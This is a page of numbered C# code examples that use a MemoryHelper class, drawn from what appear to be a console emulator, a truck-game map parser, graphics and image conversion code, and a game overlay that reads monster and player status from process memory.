     return(MemoryHelper.ReadDouble((void *)new IntPtr(address), offset));
 }
Пример #18
0
        private static int MapBufferEx(ServiceCtx context)
        {
            const string mapErrorMsg = "Failed to map fixed buffer with offset 0x{0:x16} and size 0x{1:x16}!";

            long inputPosition  = context.Request.GetBufferType0x21().Position;
            long outputPosition = context.Request.GetBufferType0x22().Position;

            NvGpuASMapBufferEx args = MemoryHelper.Read <NvGpuASMapBufferEx>(context.Memory, inputPosition);

            NvGpuASCtx asCtx = GetASCtx(context);

            NvMapHandle map = NvMapIoctl.GetNvMapWithFb(context, args.NvMapHandle);

            if (map == null)
            {
                Logger.PrintWarning(LogClass.ServiceNv, $"Invalid NvMap handle 0x{args.NvMapHandle:x8}!");

                return(NvResult.InvalidInput);
            }

            long pa;

            if ((args.Flags & FlagRemapSubRange) != 0)
            {
                lock (asCtx)
                {
                    if (asCtx.TryGetMapPhysicalAddress(args.Offset, out pa))
                    {
                        long va = args.Offset + args.BufferOffset;

                        pa += args.BufferOffset;

                        if (asCtx.Vmm.Map(pa, va, args.MappingSize) < 0)
                        {
                            string msg = string.Format(mapErrorMsg, va, args.MappingSize);

                            Logger.PrintWarning(LogClass.ServiceNv, msg);

                            return(NvResult.InvalidInput);
                        }

                        return(NvResult.Success);
                    }
                    else
                    {
                        Logger.PrintWarning(LogClass.ServiceNv, $"Address 0x{args.Offset:x16} not mapped!");

                        return(NvResult.InvalidInput);
                    }
                }
            }

            pa = map.Address + args.BufferOffset;

            long size = args.MappingSize;

            if (size == 0)
            {
                size = (uint)map.Size;
            }

            int result = NvResult.Success;

            lock (asCtx)
            {
                // Note: When the fixed offset flag is not set,
                // the Offset field holds the alignment size instead.
                bool vaAllocated = (args.Flags & FlagFixedOffset) == 0;

                if (!vaAllocated)
                {
                    if (asCtx.ValidateFixedBuffer(args.Offset, size))
                    {
                        args.Offset = asCtx.Vmm.Map(pa, args.Offset, size);
                    }
                    else
                    {
                        string msg = string.Format(mapErrorMsg, args.Offset, size);

                        Logger.PrintWarning(LogClass.ServiceNv, msg);

                        result = NvResult.InvalidInput;
                    }
                }
                else
                {
                    args.Offset = asCtx.Vmm.Map(pa, size);
                }

                if (args.Offset < 0)
                {
                    args.Offset = 0;

                    Logger.PrintWarning(LogClass.ServiceNv, $"Failed to map size 0x{size:x16}!");

                    result = NvResult.InvalidInput;
                }
                else
                {
                    asCtx.AddMap(args.Offset, size, pa, vaAllocated);
                }
            }

            MemoryHelper.Write(context.Memory, outputPosition, args);

            return(result);
        }
Пример #19
0
        public HashFile(string filePath, RootFileSystem rfs) : base(filePath, rfs)
        {
            if (!File.Exists(_path))
            {
                return;
            }

            Br      = new BinaryReader(File.OpenRead(_path));
            Entries = new Dictionary <ulong, ScsHashEntry>();

            Header = new ScsHeader
            {
                Magic       = ReadUInt32(Br, 0x0),
                Version     = ReadUInt16(Br, 0x04),
                Salt        = ReadUInt16(Br, 0x06),
                HashMethod  = ReadUInt32(Br, 0x08),
                EntryCount  = ReadInt32(Br, 0x0C),
                StartOffset = ReadInt32(Br, 0x10)
            };

            if (Header.Magic != Magic)
            {
                Log.Msg("Incorrect File Structure");
                return;
            }

            if (Header.HashMethod != HashMethod)
            {
                Log.Msg("Incorrect Hash Method");
                return;
            }

            if (Header.Version != SupportedHashVersion)
            {
                Log.Msg("Unsupported Hash Version");
                return;
            }

            Br.BaseStream.Seek(Header.StartOffset, SeekOrigin.Begin);
            var entriesRaw = Br.ReadBytes(Header.EntryCount * EntryBlockSize);

            for (var i = 0; i < Header.EntryCount; i++)
            {
                var offset = i * EntryBlockSize;
                var entry  = new ScsHashEntry
                {
                    Hash           = MemoryHelper.ReadUInt64(entriesRaw, offset),
                    Offset         = MemoryHelper.ReadInt64(entriesRaw, offset + 0x08),
                    Flags          = MemoryHelper.ReadUInt32(entriesRaw, offset + 0x10),
                    Crc            = MemoryHelper.ReadUInt32(entriesRaw, offset + 0x14),
                    Size           = MemoryHelper.ReadInt32(entriesRaw, offset + 0x18),
                    CompressedSize = MemoryHelper.ReadInt32(entriesRaw, offset + 0x1C),
                    Hf             = this
                };

                Entries.Add(entry.Hash, entry);
            }

            var rootDir = GetEntry(RootDirHash);

            if (rootDir == null) // Try to add important sub directories directly
            {
                var defEntry = (ScsHashEntry)GetEntry("def");
                if (defEntry != null)
                {
                    var dir = _rfs.GetDirectory("def");

                    dir?.AddHashEntry(defEntry);
                }
                var mapEntry = (ScsHashEntry)GetEntry("map");
                if (mapEntry != null)
                {
                    var dir = _rfs.GetDirectory("map");

                    dir?.AddHashEntry(mapEntry);
                }
                var materialEntry = (ScsHashEntry)GetEntry("material");
                if (materialEntry != null)
                {
                    var dir = _rfs.GetDirectory("material");

                    dir?.AddHashEntry(materialEntry);
                }
                var prefabEntry = (ScsHashEntry)GetEntry("prefab");
                if (prefabEntry != null)
                {
                    var dir = _rfs.GetDirectory("prefab");

                    dir?.AddHashEntry(prefabEntry);
                }
                var prefab2Entry = (ScsHashEntry)GetEntry("prefab2");
                if (prefab2Entry != null)
                {
                    var dir = _rfs.GetDirectory("prefab2");

                    dir?.AddHashEntry(prefab2Entry);
                }
                var modelEntry = (ScsHashEntry)GetEntry("model");
                if (modelEntry != null)
                {
                    var dir = _rfs.GetDirectory("model");

                    dir?.AddHashEntry(modelEntry);
                }
                var model2Entry = (ScsHashEntry)GetEntry("model2");
                if (model2Entry != null)
                {
                    var dir = _rfs.GetDirectory("model2");

                    dir?.AddHashEntry(model2Entry);
                }
                var localeEntry = (ScsHashEntry)GetEntry("locale");
                if (localeEntry != null)
                {
                    var dir = _rfs.GetDirectory("locale");
                    if (dir == null)
                    {
                        _rfs.GetRootDirectory()?.AddDirectoryManually("locale", localeEntry);
                        dir = _rfs.GetDirectory("locale");
                        if (dir == null)
                        {
                            Log.Msg("F**k");
                        }
                    }
                    dir?.AddHashEntry(localeEntry);
                }
            }
            else
            {
                _rfs.AddHashEntry(rootDir);
            }
        }
Пример #20
0
        private ResultCode OpenAudioOutImpl(ServiceCtx context, long sendPosition, long sendSize, long receivePosition, long receiveSize)
        {
            string deviceName = MemoryHelper.ReadAsciiString(context.Memory, sendPosition, sendSize);

            if (deviceName == string.Empty)
            {
                deviceName = DefaultAudioOutput;
            }

            if (deviceName != DefaultAudioOutput)
            {
                Logger.Warning?.Print(LogClass.Audio, "Invalid device name!");

                return(ResultCode.DeviceNotFound);
            }

            byte[] deviceNameBuffer = Encoding.ASCII.GetBytes(deviceName + "\0");

            if ((ulong)deviceNameBuffer.Length <= (ulong)receiveSize)
            {
                context.Memory.Write((ulong)receivePosition, deviceNameBuffer);
            }
            else
            {
                Logger.Error?.Print(LogClass.ServiceAudio, $"Output buffer size {receiveSize} too small!");
            }

            int sampleRate = context.RequestData.ReadInt32();
            int channels   = context.RequestData.ReadInt32();

            if (sampleRate == 0)
            {
                sampleRate = DefaultSampleRate;
            }

            if (sampleRate != DefaultSampleRate)
            {
                Logger.Warning?.Print(LogClass.Audio, "Invalid sample rate!");

                return(ResultCode.UnsupportedSampleRate);
            }

            channels = (ushort)channels;

            if (channels == 0)
            {
                channels = DefaultChannelsCount;
            }

            KEvent releaseEvent = new KEvent(context.Device.System.KernelContext);

            ReleaseCallback callback = () =>
            {
                releaseEvent.ReadableEvent.Signal();
            };

            IAalOutput audioOut = context.Device.AudioOut;

            int track = audioOut.OpenTrack(sampleRate, channels, callback);

            MakeObject(context, new IAudioOut(audioOut, releaseEvent, track));

            context.ResponseData.Write(sampleRate);
            context.ResponseData.Write(channels);
            context.ResponseData.Write((int)SampleFormat.PcmInt16);
            context.ResponseData.Write((int)PlaybackState.Stopped);

            return(ResultCode.Success);
        }
        /// <summary>
        /// Gets the back buffer data.
        /// </summary>
        /// <typeparam name="T"></typeparam>
        /// <param name="subimage">The rectangle representing the sub-image. Null value means to grab the whole back buffer.</param>
        /// <param name="data">The data.</param>
        /// <param name="startIndex">The starting index in the array.</param>
        /// <param name="elementCount">The number of eleemnts to read</param>
        public override void GetBackBufferData <T>(Rectangle?subimage, T[] data, int startIndex, int elementCount)
        {
            if (_backBuffer.Disposed)
            {
                throw new ObjectDisposedException(GetType().Name);
            }

            //Throws null or out of range exception
            D3D10Helper.CheckArrayBounds(data, startIndex, elementCount);

            //Calc subresource dimensions
            int width  = _presentParams.BackBufferWidth;
            int height = _presentParams.BackBufferHeight;

            //Get the dimensions, if its null we copy the whole texture
            Rectangle rect;

            if (subimage.HasValue)
            {
                rect = subimage.Value;
                CheckRectangle(rect, width, height);
            }
            else
            {
                rect = new Rectangle(0, 0, width, height);
            }

            if (elementCount > rect.Width * rect.Height)
            {
                throw new ArgumentOutOfRangeException("elementCount", "Number of elements to read is larger than contained in the specified subimage.");
            }

            //Create staging
            CreateStaging();

            try {
                int row        = rect.Y;
                int col        = rect.X;
                int rectWidth  = rect.Width;
                int rectHeight = rect.Height;

                //Do resource copy
                if (row == 0 && col == 0 && rectWidth == width && rectHeight == height)
                {
                    _graphicsDevice.CopyResource(_backBuffer, _staging);
                }
                else
                {
                    D3D.ResourceRegion region = new D3D.ResourceRegion();
                    region.Left   = col;
                    region.Right  = col + rectWidth;
                    region.Top    = row;
                    region.Bottom = row + rectHeight;
                    region.Front  = 0;
                    region.Back   = 1;
                    _graphicsDevice.CopySubresourceRegion(_backBuffer, 0, region, _staging, 0, col, row, 0);
                }

                SDX.DataRectangle dataRect = _staging.Map(0, D3D.MapMode.Read, D3D.MapFlags.None);
                SDX.DataStream    ds       = dataRect.Data;
                int elemSize   = MemoryHelper.SizeOf <T>();
                int formatSize = D3D10Helper.FormatSize(_presentParams.BackBufferFormat);
                int pitch      = dataRect.Pitch;

                int index = startIndex;
                int count = elementCount;

                //Compute the actual number of elements based on the format size and the element size we're copying the bytes into
                int actWidth = (int)MathHelper.Floor(rectWidth * (formatSize / elemSize));
                //Go row by row
                for (int i = row; i < height; i++)
                {
                    //Set the position
                    ds.Position = (i * pitch) + (col * formatSize);
                    //Break if we've run out of elements or on the very last row that isn't complete
                    if (count <= 0)
                    {
                        break;
                    }
                    else if (count < actWidth)
                    {
                        ds.ReadRange <T>(data, index, count);
                        break;
                    }
                    //Otherwise, copy the whole row and increment/decrement the index and count
                    ds.ReadRange <T>(data, index, actWidth);
                    index += actWidth;
                    count -= actWidth;
                }
                _staging.Unmap(0);
            } catch (Exception e) {
                throw new TeslaException("Error reading from D3D10 Texture2D.", e);
            }
        }
Пример #22
0
        public static void Emit(byte[] instruction, CompilationContext context)
        {
            // FFFTIX##
            // FFFTI0Ma aaaaaaaa
            // FFFTI1Mr
            // FFFTI2Ra aaaaaaaa
            // FFFTI3Rr
            // FFFTI4V0
            // T: Width of memory write (1, 2, 4, or 8 bytes).
            // I: Log id.
            // X: Operand Type, see below.
            // M: Memory Type (operand types 0 and 1).
            // R: Address Register (operand types 2 and 3).
            // a: Relative Address (operand types 0 and 2).
            // r: Offset Register (operand types 1 and 3).
            // V: Value Register (operand type 4).

            byte     operationWidth         = instruction[OperationWidthIndex];
            byte     logId                  = instruction[LogIdIndex];
            byte     operandType            = instruction[OperandTypeIndex];
            byte     registerOrMemoryRegion = instruction[RegisterOrMemoryRegionIndex];
            byte     offsetRegisterIndex    = instruction[OffsetRegisterOrImmediateIndex];
            ulong    immediate;
            Register addressRegister;
            Register offsetRegister;
            IOperand sourceOperand;

            switch (operandType)
            {
            case MemoryRegionWithOffsetImmediate:
                // *(?x + #a)
                immediate     = InstructionHelper.GetImmediate(instruction, OffsetRegisterOrImmediateIndex, OffsetImmediateSize);
                sourceOperand = MemoryHelper.EmitPointer((MemoryRegion)registerOrMemoryRegion, immediate, context);
                break;

            case MemoryRegionWithOffsetRegister:
                // *(?x + $r)
                offsetRegister = context.GetRegister(offsetRegisterIndex);
                sourceOperand  = MemoryHelper.EmitPointer((MemoryRegion)registerOrMemoryRegion, offsetRegister, context);
                break;

            case AddressRegisterWithOffsetImmediate:
                // *($R + #a)
                addressRegister = context.GetRegister(registerOrMemoryRegion);
                immediate       = InstructionHelper.GetImmediate(instruction, OffsetRegisterOrImmediateIndex, OffsetImmediateSize);
                sourceOperand   = MemoryHelper.EmitPointer(addressRegister, immediate, context);
                break;

            case AddressRegisterWithOffsetRegister:
                // *($R + $r)
                addressRegister = context.GetRegister(registerOrMemoryRegion);
                offsetRegister  = context.GetRegister(offsetRegisterIndex);
                sourceOperand   = MemoryHelper.EmitPointer(addressRegister, offsetRegister, context);
                break;

            case ValueRegister:
                // $V
                sourceOperand = context.GetRegister(registerOrMemoryRegion);
                break;

            default:
                throw new TamperCompilationException($"Invalid operand type {operandType} in Atmosphere cheat");
            }

            InstructionHelper.Emit(typeof(OpLog <>), operationWidth, context, logId, sourceOperand);
        }
        /// <summary>
        /// MatをWriteableBitmapに変換する.
        /// 返却値を新たに生成せず引数で指定したWriteableBitmapに格納するので、メモリ効率が良い。
        /// </summary>
        /// <param name="src">変換するMat</param>
        /// <param name="dst">変換結果を設定するWriteableBitmap</param>
#else
        /// <summary>
        /// Converts Mat to WriteableBitmap.
        /// This method is more efficient because new instance of WriteableBitmap is not allocated.
        /// </summary>
        /// <param name="src">Input Mat</param>
        /// <param name="dst">Output WriteableBitmap</param>
#endif
        public static void ToWriteableBitmap(Mat src, WriteableBitmap dst)
        {
            if (src == null)
            {
                throw new ArgumentNullException(nameof(src));
            }
            if (dst == null)
            {
                throw new ArgumentNullException(nameof(dst));
            }
            if (src.Width != dst.PixelWidth || src.Height != dst.PixelHeight)
            {
                throw new ArgumentException("size of src must be equal to size of dst");
            }
            //if (src.Depth != BitDepth.U8)
            //throw new ArgumentException("bit depth of src must be BitDepth.U8", "src");
            if (src.Dims > 2)
            {
                throw new ArgumentException("Mat dimensions must be 2");
            }

            int w   = src.Width;
            int h   = src.Height;
            int bpp = dst.Format.BitsPerPixel;

            int channels = GetOptimumChannels(dst.Format);

            if (src.Channels() != channels)
            {
                throw new ArgumentException("channels of dst != channels of PixelFormat", nameof(dst));
            }

            bool submat     = src.IsSubmatrix();
            bool continuous = src.IsContinuous();

            unsafe
            {
                byte *pSrc  = (byte *)(src.Data);
                int   sstep = (int)src.Step();

                if (bpp == 1)
                {
                    if (submat)
                    {
                        throw new NotImplementedException("submatrix not supported");
                    }

                    // 手作業で移し替える
                    int stride = w / 8 + 1;
                    if (stride < 2)
                    {
                        stride = 2;
                    }

                    byte[] pixels = new byte[h * stride];

                    for (int x = 0, y = 0; y < h; y++)
                    {
                        int offset = y * stride;
                        for (int bytePos = 0; bytePos < stride; bytePos++)
                        {
                            if (x < w)
                            {
                                byte b = 0;
                                // 現在の位置から横8ピクセル分、ビットがそれぞれ立っているか調べ、1つのbyteにまとめる
                                for (int i = 0; i < 8; i++)
                                {
                                    b <<= 1;
                                    if (x < w && pSrc[sstep * y + x] != 0)
                                    {
                                        b |= 1;
                                    }
                                    x++;
                                }
                                pixels[offset + bytePos] = b;
                            }
                        }
                        x = 0;
                    }
                    dst.WritePixels(new Int32Rect(0, 0, w, h), pixels, stride, 0);
                    return;
                }

                // 一気にコピー
                if (!submat && continuous)
                {
                    long imageSize = src.DataEnd.ToInt64() - src.Data.ToInt64();
                    if (imageSize < 0)
                    {
                        throw new OpenCvSharpException("The mat has invalid data pointer");
                    }
                    if (imageSize > int.MaxValue)
                    {
                        throw new OpenCvSharpException("Too big mat data");
                    }
                    dst.WritePixels(new Int32Rect(0, 0, w, h), src.Data, (int)imageSize, sstep);
                    return;
                }

                // 一列ごとにコピー
                try
                {
                    dst.Lock();
                    dst.AddDirtyRect(new Int32Rect(0, 0, dst.PixelWidth, dst.PixelHeight));

                    int   dstep = dst.BackBufferStride;
                    byte *pDst  = (byte *)dst.BackBuffer;

                    for (int y = 0; y < h; y++)
                    {
                        long offsetSrc = (y * sstep);
                        long offsetDst = (y * dstep);
                        MemoryHelper.CopyMemory(pDst + offsetDst, pSrc + offsetSrc, w * channels);
                    }
                }
                finally
                {
                    dst.Unlock();
                }
            }
        }
Пример #24
0
        private void OutputDebugString(ulong strPtr, ulong size)
        {
            string str = MemoryHelper.ReadAsciiString(_process.CpuMemory, (long)strPtr, (long)size);

            Logger.PrintWarning(LogClass.KernelSvc, str);
        }
Пример #25
0
        public static void UpdateMonsterWidget(Process process, ulong monsterBaseList, ulong mapBaseAddress)
        {
            if (mapBaseAddress != 0x0)
            {
                bool isMonsterSelected = MemoryHelper.Read <ulong>(process, mapBaseAddress + 0x128) != 0x0;
                if (isMonsterSelected)
                {
                    ulong selectedMonsterAddress = MemoryHelper.Read <ulong>(process, mapBaseAddress + 0x148) - 0X40;
                    var   selectedMonster        = UpdateAndGetMonster(process, selectedMonsterAddress);
                    if (selectedMonster != null)
                    {
                        var toRemoveMonsters = OverlayViewModel.Instance.MonsterWidget.Context.Monsters.Where(m => !m.Id.Equals(selectedMonster.Id));
                        foreach (var obsoleteMonster in toRemoveMonsters.Reverse())
                        {
                            OverlayViewModel.Instance.MonsterWidget.Context.Monsters.Remove(obsoleteMonster);
                        }
                        return;
                    }
                }
            }

            if (monsterBaseList < 0xffffff)
            {
                OverlayViewModel.Instance.MonsterWidget.Context.Monsters.Clear();
                return;
            }

            List <ulong> monsterAddresses = new List <ulong>();

            ulong firstMonster = MemoryHelper.Read <ulong>(process, monsterBaseList + DataOffsets.Monster.PreviousMonsterOffset);

            if (firstMonster == 0x0)
            {
                firstMonster = monsterBaseList;
            }

            firstMonster += DataOffsets.Monster.MonsterStartOfStructOffset;

            ulong currentMonsterAddress = firstMonster;

            while (currentMonsterAddress != 0)
            {
                monsterAddresses.Insert(0, currentMonsterAddress);
                currentMonsterAddress = MemoryHelper.Read <ulong>(process, currentMonsterAddress + DataOffsets.Monster.NextMonsterOffset);
            }

            List <Monster> updatedMonsters = new List <Monster>();

            foreach (var monsterAddress in monsterAddresses)
            {
                var monster = UpdateAndGetMonster(process, monsterAddress);
                if (monster != null)
                {
                    updatedMonsters.Add(monster);
                }
            }

            // Clean out monsters that aren't in the linked list anymore
            var obsoleteMonsters = OverlayViewModel.Instance.MonsterWidget.Context.Monsters.Except(updatedMonsters);

            foreach (var obsoleteMonster in obsoleteMonsters.Reverse())
            {
                OverlayViewModel.Instance.MonsterWidget.Context.Monsters.Remove(obsoleteMonster);
            }
        }
Пример #26
0
        public void TsRoadItem854(int startOffset)
        {
            var fileOffset    = startOffset + 0x34; // Set position at start of flags
            var dlcGuardCount = (Sector.Mapper.IsEts2) ? Common.Ets2DlcGuardCount : Common.AtsDlcGuardCount;

            Hidden = MemoryHelper.ReadInt8(Sector.Stream, fileOffset + 0x06) > dlcGuardCount || (MemoryHelper.ReadUint8(Sector.Stream, fileOffset + 0x03) & 0x02) != 0;
            var roadLookId = MemoryHelper.ReadUInt64(Sector.Stream, fileOffset += 0x09);

            RoadLook = Sector.Mapper.LookupRoadLook(roadLookId);

            if (RoadLook == null)
            {
                Valid = false;
                Log.Msg($"Could not find RoadLook: '{ScsHash.TokenToString(roadLookId)}'({MemoryHelper.ReadUInt64(Sector.Stream, fileOffset):X}), " +
                        $"in {Path.GetFileName(Sector.FilePath)} @ {fileOffset}");
            }

            StartNodeUid = MemoryHelper.ReadUInt64(Sector.Stream, fileOffset += 0x08 + 0xA4); // 0x08(RoadLook) + 0xA4(sets cursor before node_uid[])
            EndNodeUid   = MemoryHelper.ReadUInt64(Sector.Stream, fileOffset += 0x08);        // 0x08(startNodeUid)
            fileOffset  += 0x08 + 0x04;                                                       // 0x08(EndNodeUid) + 0x04(m_unk)

            BlockSize = fileOffset - startOffset;
        }
Пример #27
0
        public static void UpdatePlayerWidget(Process process, ulong baseAddress, ulong equipmentAddress, ulong weaponAddress)
        {
            for (int index = 0; index < ConfigHelper.PlayerData.Values.StatusEffects.Length; ++index)
            {
                var statusEffectConfig = ConfigHelper.PlayerData.Values.StatusEffects[index];

                ulong sourceAddress = baseAddress;
                if (statusEffectConfig.Source == Config.StatusEffectConfig.MemorySource.Equipment)
                {
                    sourceAddress = equipmentAddress;
                }
                else if (statusEffectConfig.Source == Config.StatusEffectConfig.MemorySource.Weapon)
                {
                    sourceAddress = weaponAddress;
                }

                bool allConditionsPassed = true;
                if (statusEffectConfig.Conditions != null)
                {
                    foreach (var condition in statusEffectConfig.Conditions)
                    {
                        bool        isOffsetChainValid = true;
                        List <long> offsets            = new List <long>();
                        foreach (var offsetString in condition.Offsets)
                        {
                            if (TryParseHex(offsetString, out var offset))
                            {
                                offsets.Add(offset);
                            }
                            else
                            {
                                isOffsetChainValid = false;
                                break;
                            }
                        }

                        if (!isOffsetChainValid)
                        {
                            allConditionsPassed = false;
                            break;
                        }

                        var conditionAddress = MemoryHelper.ReadMultiLevelPointer(false, process, sourceAddress + (ulong)offsets.First(), offsets.Skip(1).ToArray());

                        bool isPassed = false;
                        if (condition.ByteValue.HasValue)
                        {
                            var conditionValue = MemoryHelper.Read <byte>(process, conditionAddress);
                            isPassed = conditionValue == condition.ByteValue;
                        }
                        else if (condition.IntValue.HasValue)
                        {
                            var conditionValue = MemoryHelper.Read <int>(process, conditionAddress);
                            isPassed = conditionValue == condition.IntValue;
                        }
                        else if (condition.StringRegexValue != null)
                        {
                            var conditionValue = MemoryHelper.ReadString(process, conditionAddress, 64);
                            isPassed = new Regex(condition.StringRegexValue).IsMatch(conditionValue);
                        }

                        if (!isPassed)
                        {
                            allConditionsPassed = false;
                            break;
                        }
                    }
                }

                float?timer = null;
                if (allConditionsPassed && statusEffectConfig.TimerOffset != null)
                {
                    if (TryParseHex(statusEffectConfig.TimerOffset, out var timerOffset))
                    {
                        timer = MemoryHelper.Read <float>(process, (ulong)((long)sourceAddress + timerOffset));
                    }

                    if (timer <= 0)
                    {
                        timer = 0;
                        allConditionsPassed = false;
                    }
                }

                OverlayViewModel.Instance.PlayerWidget.Context.UpdateAndGetPlayerStatusEffect(index, timer, allConditionsPassed);
            }
        }
Пример #28
0
        public void TsRoadItem829(int startOffset)
        {
            var fileOffset    = startOffset + 0x34; // Set position at start of flags
            var dlcGuardCount = (Sector.Mapper.IsEts2) ? Common.Ets2DlcGuardCount : Common.AtsDlcGuardCount;

            Hidden   = MemoryHelper.ReadInt8(Sector.Stream, fileOffset + 0x06) > dlcGuardCount || (MemoryHelper.ReadUint8(Sector.Stream, fileOffset + 0x03) & 0x02) != 0;
            RoadLook = Sector.Mapper.LookupRoadLook(MemoryHelper.ReadUInt64(Sector.Stream, fileOffset += 0x09)); // 0x09(flags)

            if (RoadLook == null)
            {
                Valid = false;
                Log.Msg($"Could not find RoadLook with id: {MemoryHelper.ReadUInt64(Sector.Stream, fileOffset):X}, " +
                        $"in {Path.GetFileName(Sector.FilePath)} @ {fileOffset}");
            }
            StartNodeUid = MemoryHelper.ReadUInt64(Sector.Stream, fileOffset += 0x08 + 0x48);                                    // 0x08(RoadLook) + 0x48(sets cursor before node_uid[])
            EndNodeUid   = MemoryHelper.ReadUInt64(Sector.Stream, fileOffset += 0x08);                                           // 0x08(startNodeUid)
            var stampCount            = MemoryHelper.ReadInt32(Sector.Stream, fileOffset += 0x08 + 0x130);                       // 0x08(endNodeUid) + 0x130(sets cursor before stampCount)
            var vegetationSphereCount = MemoryHelper.ReadInt32(Sector.Stream, fileOffset += 0x04 + stampCount * StampBlockSize); // 0x04(stampCount) + stamps

            fileOffset += 0x04 + (VegetationSphereBlockSize * vegetationSphereCount);                                            // 0x04(vegSphereCount) + vegSpheres
            BlockSize   = fileOffset - startOffset;
        }
Пример #29
0
        private static void UpdateMonsterStatusEffects(Process process, Monster monster)
        {
            int maxIndex = ConfigHelper.MonsterData.Values.StatusEffects.Where(s => s.GroupId.Equals("StatusEffect")).Count() - 1;
            var statuses = monster.StatusEffects;

            if (statuses.Where(s => s.GroupId.Equals("StatusEffect")).Any())
            {
                foreach (MonsterStatusEffect status in statuses)
                {
                    float currentBuildup = 0;
                    float maxBuildup     = MemoryHelper.Read <float>(process, status.Address + DataOffsets.MonsterStatusEffect.MaxBuildup);
                    if (maxBuildup > 0)
                    {
                        currentBuildup = MemoryHelper.Read <float>(process, status.Address + DataOffsets.MonsterStatusEffect.CurrentBuildup);
                    }
                    float currentDuration = 0;
                    float maxDuration     = MemoryHelper.Read <float>(process, status.Address + DataOffsets.MonsterStatusEffect.MaxDuration);
                    if (maxDuration > 0)
                    {
                        currentDuration = MemoryHelper.Read <float>(process, status.Address + DataOffsets.MonsterStatusEffect.CurrentDuration);
                    }
                    int timesActivatedCount = MemoryHelper.Read <int>(process, status.Address + DataOffsets.MonsterStatusEffect.TimesActivatedCount);

                    if (maxBuildup > 0 || maxDuration > 0)
                    {
                        uint index = MemoryHelper.Read <uint>(process, status.Address + 0x198);
                        if (index <= maxIndex)
                        {
                            var statusEffectConfig = ConfigHelper.MonsterData.Values.StatusEffects[index];
                            monster.UpdateAndGetStatusEffect(status.Address, (int)index, maxBuildup > 0 ? maxBuildup : 1, !statusEffectConfig.InvertBuildup ? currentBuildup : maxBuildup - currentBuildup, maxDuration, !statusEffectConfig.InvertDuration ? currentDuration : maxDuration - currentDuration, timesActivatedCount);
                        }
                    }
                }
            }
            else
            {
                ulong baseStatus = MemoryHelper.Read <ulong>(process, monster.Address + DataOffsets.Monster.MonsterStartOfStructOffset + 0x78);
                baseStatus = MemoryHelper.Read <ulong>(process, baseStatus + 0x57A8);
                ulong nani = baseStatus;
                while (nani != 0)
                {
                    nani = MemoryHelper.Read <ulong>(process, nani + 0x10);
                    if (nani != 0)
                    {
                        baseStatus = nani;
                    }
                }
                ulong currentStatusPointer = baseStatus + 0x40;
                while (currentStatusPointer != 0x0)
                {
                    var currentMonsterInStatus = MemoryHelper.Read <ulong>(process, currentStatusPointer + 0x188);
                    if (currentMonsterInStatus == monster.Address + 0x40 && !monster.StatusEffects.Where(status => status.Address == currentStatusPointer).Any())
                    {
                        float currentBuildup = 0;
                        float maxBuildup     = MemoryHelper.Read <float>(process, currentStatusPointer + DataOffsets.MonsterStatusEffect.MaxBuildup);
                        if (maxBuildup > 0)
                        {
                            currentBuildup = MemoryHelper.Read <float>(process, currentStatusPointer + DataOffsets.MonsterStatusEffect.CurrentBuildup);
                        }
                        float currentDuration = 0;
                        float maxDuration     = MemoryHelper.Read <float>(process, currentStatusPointer + DataOffsets.MonsterStatusEffect.MaxDuration);
                        if (maxDuration > 0)
                        {
                            currentDuration = MemoryHelper.Read <float>(process, currentStatusPointer + DataOffsets.MonsterStatusEffect.CurrentDuration);
                        }
                        int timesActivatedCount = MemoryHelper.Read <int>(process, currentStatusPointer + DataOffsets.MonsterStatusEffect.TimesActivatedCount);

                        if (maxBuildup > 0 || maxDuration > 0)
                        {
                            uint index = MemoryHelper.Read <uint>(process, currentStatusPointer + 0x198);
                            if (index <= maxIndex && !((index == 14 || index == 15) && monster.isElder)) // skip traps for elders
                            {
                                var statusEffectConfig = ConfigHelper.MonsterData.Values.StatusEffects[index];
                                monster.UpdateAndGetStatusEffect(currentStatusPointer, (int)index, maxBuildup > 0 ? maxBuildup : 1, !statusEffectConfig.InvertBuildup ? currentBuildup : maxBuildup - currentBuildup, maxDuration, !statusEffectConfig.InvertDuration ? currentDuration : maxDuration - currentDuration, timesActivatedCount);
                            }
                        }
                    }
                    currentStatusPointer = MemoryHelper.Read <ulong>(process, currentStatusPointer + 0x18);
                }
            }

            // Rage
            ulong rageAddress        = monster.Address + 0x1BE20;
            float maxRageBuildUp     = MemoryHelper.Read <float>(process, rageAddress + 0x24);
            float currentRageBuildUp = 0;

            if (maxRageBuildUp > 0)
            {
                currentRageBuildUp = MemoryHelper.Read <float>(process, rageAddress);
            }
            float maxRageDuration     = MemoryHelper.Read <float>(process, rageAddress + 0x10);
            float currentRageDuration = 0;

            if (maxRageDuration > 0)
            {
                currentRageDuration = MemoryHelper.Read <float>(process, rageAddress + 0xC);
            }
            int rageActivatedCount = MemoryHelper.Read <int>(process, rageAddress + 0x1C);
            var rageStatusEffect   = ConfigHelper.MonsterData.Values.StatusEffects.SingleOrDefault(s => s.GroupId.Equals("Rage"));//[33]; // 33 is rage

            if (maxRageBuildUp > 0 || maxRageDuration > 0)
            {
                monster.UpdateAndGetStatusEffect(rageAddress, Array.IndexOf(ConfigHelper.MonsterData.Values.StatusEffects, rageStatusEffect), maxRageBuildUp > 0 ? maxRageBuildUp : 1, !rageStatusEffect.InvertBuildup ? currentRageBuildUp : maxRageBuildUp - currentRageBuildUp, maxRageDuration, !rageStatusEffect.InvertDuration ? currentRageDuration : maxRageDuration - currentRageDuration, rageActivatedCount);
            }
        }
Пример #30
0
        private static ResultCode GetHostByNameRequestImpl(
            ServiceCtx context,
            ulong inputBufferPosition,
            ulong inputBufferSize,
            ulong outputBufferPosition,
            ulong outputBufferSize,
            bool withOptions,
            ulong optionsBufferPosition,
            ulong optionsBufferSize)
        {
            string host = MemoryHelper.ReadAsciiString(context.Memory, inputBufferPosition, (int)inputBufferSize);

            if (!context.Device.Configuration.EnableInternetAccess)
            {
                Logger.Info?.Print(LogClass.ServiceSfdnsres, $"Guest network access disabled, DNS Blocked: {host}");

                WriteResponse(context, withOptions, 0, GaiError.NoData, NetDbError.HostNotFound);

                return(ResultCode.Success);
            }

            // TODO: Use params.
            bool  enableNsdResolve = (context.RequestData.ReadInt32() & 1) != 0;
            int   timeOut          = context.RequestData.ReadInt32();
            ulong pidPlaceholder   = context.RequestData.ReadUInt64();

            if (withOptions)
            {
                // TODO: Parse and use options.
            }

            IPHostEntry hostEntry = null;

            NetDbError netDbErrorCode = NetDbError.Success;
            GaiError   errno          = GaiError.Overflow;
            ulong      serializedSize = 0;

            if (host.Length <= byte.MaxValue)
            {
                if (enableNsdResolve)
                {
                    if (FqdnResolver.Resolve(host, out string newAddress) == Nsd.ResultCode.Success)
                    {
                        host = newAddress;
                    }
                }

